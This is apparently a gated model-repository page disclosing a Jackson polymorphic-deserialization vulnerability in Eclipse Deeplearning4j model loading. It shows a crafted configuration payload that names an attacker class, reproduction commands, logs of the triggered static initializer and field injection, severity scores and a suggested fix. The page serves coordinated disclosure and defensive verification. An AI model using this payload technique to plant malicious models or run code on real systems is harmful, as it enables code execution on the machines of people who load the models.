You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

These are deliberately malicious Eclipse Deeplearning4j (DL4J) model files that trigger unsafe Jackson polymorphic deserialization (arbitrary class instantiation, private-field injection, and arbitrary static-initializer execution) when loaded with the standard ModelSerializer.restore* API. They are provided solely for coordinated vulnerability disclosure and defensive verification. Use them only inside an isolated sandbox; do not redistribute. By requesting access you confirm you will load these artifacts only in an isolated sandbox, will not redistribute them, and understand they are bug-triggering security-research artifacts. Access is granted to protectai-bot for huntr bounty review and to the vendor for coordinated disclosure.

Log in or Sign Up to review the conditions and access this model content.

DL4J configuration.json Jackson @JsonTypeInfo(Id.CLASS) polymorphic deserialization β€” gated PoC

Coordinated-disclosure security-research artifact. Gated β€” keep private until a fix ships.

⚠️ What these files are

evil_model.zip is a real, trained Eclipse Deeplearning4j model whose configuration.json has a single field (activationFn) replaced with a malicious Jackson @class gadget object. The original weights (coefficients.bin) are intact, so the file looks like a normal model. Loading it with DL4J's standard ModelSerializer.restoreMultiLayerNetwork(File) causes DL4J to instantiate the named class, inject attacker-controlled state into its private fields, and run its static initializer β€” during the model load, before any inference. These files trigger code paths that lead to code execution; load them only in an isolated sandbox.

The model file(s)

File What it does on load
evil_model.zip configuration.json activationFn = {"@class":"poc.EvilActivation","cmd":"id"}; on restoreMultiLayerNetwork the gadget's static-init + constructor run and the private cmd field is injected. The bundled EvilActivation demo class only prints loud markers (no shell) β€” substitute any classpath gadget assignable to one of the 27 DL4J config interfaces to demonstrate a real side effect.
poc/configuration_evil.json the full crafted config (for inspection).

Root cause (code)

DL4J 1.0.0-M2.1, org.deeplearning4j:deeplearning4j-nn:

// MultiLayerConfiguration.java:134  β€” mapper(): a BARE new ObjectMapper(), NO PolymorphicTypeValidator
// MultiLayerConfiguration.java:159  β€” fromJson(json) -> mapper().readValue(...)

// IWeightInit.java:29  (one of 27 such config interfaces):
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.PROPERTY, property = "@class")
public interface IWeightInit extends Serializable { ... }

org.nd4j.linalg.activations.IActivation is also @JsonAutoDetect(fieldVisibility = ANY), so Jackson writes attacker values directly into private fields. Because the mapper has no PolymorphicTypeValidator, any @class assignable to one of the 27 interfaces is instantiated, and Id.CLASS resolution runs Class.forName (static init) on the named class before the assignability check β€” so any class on the classpath can have its <clinit> triggered.

Reproduction

# Build the DL4J 1.0.0-M2.1 classpath (deeplearning4j-core + nd4j-native-platform) into one jar, then:
javac -cp <dl4j-classpath.jar> -d ./out ./poc/*.java
java  -cp ./out:<dl4j-classpath.jar> poc.Victim
# or load the provided artifact directly:
#   ModelSerializer.restoreMultiLayerNetwork(new File("evil_model.zip"))

poc/Dockerfile + poc/RUN.md reproduce the exact environment (Docker eclipse-temurin:11-jdk). The driver poc/Victim.java trains a baseline model, crafts the malicious config, and runs T2a/T2b/T2c/T3.

Observed results (verbatim)

logs/victim_stdout_full.log (full attribution stacks). Key lines:

========== T2a: MultiLayerConfiguration.fromJson(craftedJson) ==========
!!! PWNED (EvilActivation static-init) β€” config.json @class polymorphism !!!
!!! PWNED (EvilActivation ctor) β€” Jackson instantiated assignable subtype !!!
fromJson returned without exception
T2a marker_activation present = true  (threw=false)
T2a FIELD-INJECTION: EvilActivation.cmd (private field) deserialized to = "id"  <== attacker-controlled state injected into private field

========== T2b: ModelSerializer.restoreMultiLayerNetwork(evil_model.zip) ==========
!!! PWNED (EvilActivation ctor) β€” Jackson instantiated assignable subtype !!!
restoreMultiLayerNetwork returned without exception
T2b marker_activation present = true  (threw=false)

========== T2c: NEGATIVE CONTROL β€” unmodified config ==========
T2c marker_activation present (should be FALSE) = false

========== T3: init-before-check probe (EvilNotActivation, NON-assignable) ==========
!!! EvilNotActivation static-init FIRED β€” Class.forName ran BEFORE subtype check !!!
T3 EvilNotActivation static-init fired = true  (threw=true)
T3 VERDICT: init-before-check = YES (arbitrary-static-init primitive)

Attribution stack proving the common loader path (no normalizer variant):

at org.deeplearning4j.nn.conf.MultiLayerConfiguration.fromJson(MultiLayerConfiguration.java:159)
at org.deeplearning4j.util.ModelSerializer.restoreMultiLayerNetworkHelper(ModelSerializer.java:323)
at org.deeplearning4j.util.ModelSerializer.restoreMultiLayerNetwork(ModelSerializer.java:237)
at org.deeplearning4j.util.ModelSerializer.restoreMultiLayerNetwork(ModelSerializer.java:221)
at org.deeplearning4j.util.ModelSerializer.restoreMultiLayerNetwork(ModelSerializer.java:207)

Affected versions

All Eclipse Deeplearning4j versions ≀ 1.0.0-M2.1 (entire release history; M2.1 is the current latest). No fix exists.

Severity (CVSS)

  • Lead (conditional RCE): CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 7.8 High
  • Floor (unconditional primitive β€” instantiation + field injection + arbitrary static-init): CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L = 5.3 Medium
  • AV:N ceiling (hub-delivered model): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High (noted).

Turnkey OS command execution is conditional on a side-effecting gadget class (assignable to one of the 27 config interfaces) on the victim's broader/transitive classpath β€” none in vanilla deeplearning4j-core, common in serving stacks. No shell is demonstrated here.

CWE

CWE-502 (Deserialization of Untrusted Data).

Suggested fix

Attach a PolymorphicTypeValidator (subtype allowlist) to the config ObjectMapper in MultiLayerConfiguration.mapper() / ComputationGraphConfiguration, or migrate the 27 @JsonTypeInfo annotations from use = Id.CLASS to use = Id.NAME with explicit @JsonSubTypes.

Responsible disclosure

Reported via huntr (ProtectAI). This repo is gated and kept private until the vendor ships a fix and publication is agreed. Do not redistribute. Distinct from CVE-2025-53001 (the preprocessor.bin / ObjectInputStream sink) β€” a different ZIP entry, deserialization engine, and fix surface; a JEP-290 ObjectInputFilter does not mitigate this Jackson path. Credit: j0hndo.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support